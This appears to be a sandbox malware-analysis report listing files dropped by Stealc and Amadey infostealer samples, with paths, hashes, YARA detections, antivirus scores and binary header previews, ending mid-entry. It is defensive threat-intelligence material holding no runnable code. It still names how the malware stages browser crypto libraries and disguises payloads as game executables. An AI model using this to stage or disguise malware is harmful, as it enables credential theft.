C:\ProgramData\KEGDAKEHJDHIDHJJDAECFBKFHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439296
Entropy (8bit):	6.486801995408641
Encrypted:	false
SSDEEP:	12288:H/RCVy1xtsmUQTXNujba1fM0HRm77vRMmg:ntsouyBM+RmnRLg
MD5:	C07E06E76DE584BCDDD59073A4161DBB
SHA1:	08954AC6F6CF51FD5D9D034060A9AE25A8448971
SHA-256:	CF67A50598EE170E0D8596F4E22F79CF70E1283B013C3E33E36094E1905BA8D9
SHA-512:	E92C9FCD0448591738DAEDB19E8225FF05DA588B48D1F15479EC8AF62ACD3EA52B5D4BA3E3B0675C2AA1705185F5523DCAFDF14137C6E2984588069A2E05309F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........BS..,...,...,.../...,...).#.,..(...,../...,..)...,.......,...(...,...-...,...-.j.,.U.%...,.U.....,.U.....,.Rich..,.........PE..L.....%g..........................................@..........................0............@.................................0E...................................E......8...............................@...............<............................text............................... ..`.rdata..@H.......J..................@..@.data....m...`...,...@..............@....rsrc................l..............@..@.reloc...E.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11169792
Entropy (8bit):	7.997458781189106
Encrypted:	true
SSDEEP:	196608:EXJw5XZ54Gu3tLvKixbJ5qtWwgbBnNUm1ae30eL3h8g3SGXm4iF+gPa:Gy3RCBKixdoYwgNNp1IeSQSGWpFj
MD5:	6898EACE70E2DA82F257BC78CB081B2F
SHA1:	5AC5ED21436D8B4C59C0B62836D531844C571D6D
SHA-256:	BCDD8B7C9EC736765D4596332C0FEC1334B035D4456DF1EC25B569F9B6431A23
SHA-512:	CA719707417A095FE092837E870AEFC7E8874EF351E27B5B41E40F46A9E2F6CB2BA915858BC3C99A14C2F1288C71C7DDD9C2ADEE6588D6B43CD3BA276E1585D2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-b[g...............+.....l...>..%..........@............................. ......{.....`... ..........................................................X... ..............................................`...(...................h................................text...(...........................`..`.data...............................@....rdata...*.......,..................@..@.eh_fram............................@....pdata....... ......................@..@.xdata..p....0......................@..@.bss.....<...@...........................idata..............................@....CRT....`...........................@....tls................................@....rsrc....X.......Z..................@..@.reloc...............n..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\sintv[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4768256
Entropy (8bit):	5.904266927107329
Encrypted:	false
SSDEEP:	98304:snaxiNyuaPwnj0ckQ3krKt23MZV8vjZriQW/XpC118CV/eQVY8JemgZj7T8ILFhW:ENyu7V8vj9iQlk
MD5:	38FCAA23700E62FB0B3FC2591F82CC80
SHA1:	ABEDD6EC573A6FEDE05D15920F3AC3763062C75C
SHA-256:	FB829A6A8535A443932CD167E8301B5E74C60702B5F7FADE7E9F13A736CE72B0
SHA-512:	5DA88A61C716A9891CB225F36F275040D69915C4C731C2A5C042D5C997CA39241A3E9D6646569468D477F47DB42462C21B58F2DE7F56A84CB145E6CEE478EEEF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...#X]g..........".......G...........G.. ....@...... ........................I.....^.I...`.................................................X.G.T.....H.......................H.......G...............................................G.............. ..H............text...4.G.. ....G................. ..`.rsrc.........H.......G.............@..@.reloc........H.......H.............@..BH.........-........."...X.,.t9............................................(....&..(........s.........s.........s.........s.........s..........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0...........~....o.....8...........0..B........~.....(......9!...r...p.....(....o....s.............~.....8............0...........~.....8..........."..........Vs....(....t.............(....*.0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339215930674792
Encrypted:	false
SSDEEP:	6144:k0wBiMDYtUokCulxMfpbjnekAoQGZRFsnE7w+Uw3NKR9hU/W9:RwMtUoH35nLP7Fa4wx8KRF9
MD5:	68A99CF42959DC6406AF26E91D39F523
SHA1:	F11DB933A83400136DC992820F485E0B73F1B933
SHA-256:	C200DDB7B54F8FA4E3ACB6671F5FA0A13D54BD41B978D13E336F0497F46244F3
SHA-512:	7342073378D188912B3E7C6BE498055DDF48F04C8DEF8E87C630C69294BCFD0802280BABE8F86B88EAED40E983BCF054E527F457BB941C584B6EA54AD0F0AA75
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...K..g......................$......i............@...........................&...........@.................................@...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	3794944
Entropy (8bit):	7.956425596190051
Encrypted:	false
SSDEEP:	98304:SaBCZwNZbJRa6YuWjsnxks5HqRhzYc/D2iBTF:SaMwP3YuWwxks5HQD2iz
MD5:	378706614B22957208E09FC84FCEECE8
SHA1:	D35E1F89F36AED26553B665F791CD69D82136FB8
SHA-256:	DF6E6D5BEAD4AA34F8E0DD325400A5829265B0F615CD1DA48D155CC30B89AD6D
SHA-512:	BEF7A09CE1FFD0A0B169A6EC7C143CA322C929139CA0AF40353502AE22FED455FE10A9B80BA93CC399A88ADD94F921B7AA801033DDAE351F8F8D477781CA476E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L.....Lg.....................J....................@................................:):.................................................."..............................................................................0............................MPRESS1..........5......................MPRESS2..............5..................rsrc....".......$....5.............@..............................................................................v2.19....5. ..:.........#.\|c..L,,.h.h}....._.......%M,SH.8..aJ.....31..f.....Y......\|t:/....>.V7....S.N.......^...M?.F..Y..c7F-.p..mZ..>Q.-.\>..q..{.qx.UY...O...R....;...g.-..u%.......9....f...`(\|.r....]...I...9.XO.b.^.&"06..T\|.F.U.d...h.=aU.8.cJ[.H...c.X.71.4[..b,....(/..{..j..M..b....,..2)..W.]?....b..8..'.X... . .o-.BPZ....`.3V........i{...A./E....Q>-...N..'.A........qlA4...a....a7.^{,H^.Q.H,..4U..*...K................H.t]U.9..m.!g.._.9..kb..O....g...5(.."d....."

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\legs[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.8597230357066845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXmAuuweJH9RKC6cmulcfJbBiv0V:pG+XeJH9Rp6RtfNLtcXeJH9Rp6RtfNLr
MD5:	75CF470500D65CE4411790E09E650806
SHA1:	91ACA1838BC6E3868D25E44308F58124B749167D
SHA-256:	F29A920DD390574C50DF03E8F909A8F81A1894AF912AF2D92A9BAF4B57CF1C04
SHA-512:	1C281FE53742A338BECB9AA4EFD2A7E418A66949A7F3D156440E02E2351548F6FF0EAD5D93AAE157509F57D0B4CC3584A9AB623C6446EA389B45B49D0DF85C48
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439808
Entropy (8bit):	6.48944055080441
Encrypted:	false
SSDEEP:	6144:as9C0eaieHm71o2pL2IMJDoMc2ZNu5GQpsnp/yFPMsXnQODVNIg+cTtgJ7AO+Zj5:as9C0eaieHmO292D3//yFPMsXkJ7gmk
MD5:	CE27255F0EF33CE6304E54D171E6547C
SHA1:	E594C6743D869C852BF7A09E7FE8103B25949B6E
SHA-256:	82C683A7F6E0B4A99A6D3AB519D539A3B0651953C7A71F5309B9D08E4DAA7C3C
SHA-512:	96CFAFBAB9138517532621D0B5F3D4A529806CFDF6191C589E6FB6EBF471E9DF0777FB74E9ABBFE4E8CD8821944AD02B1F09775195E190EE8CA5D3FD151D20D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe, Author: Joe Security
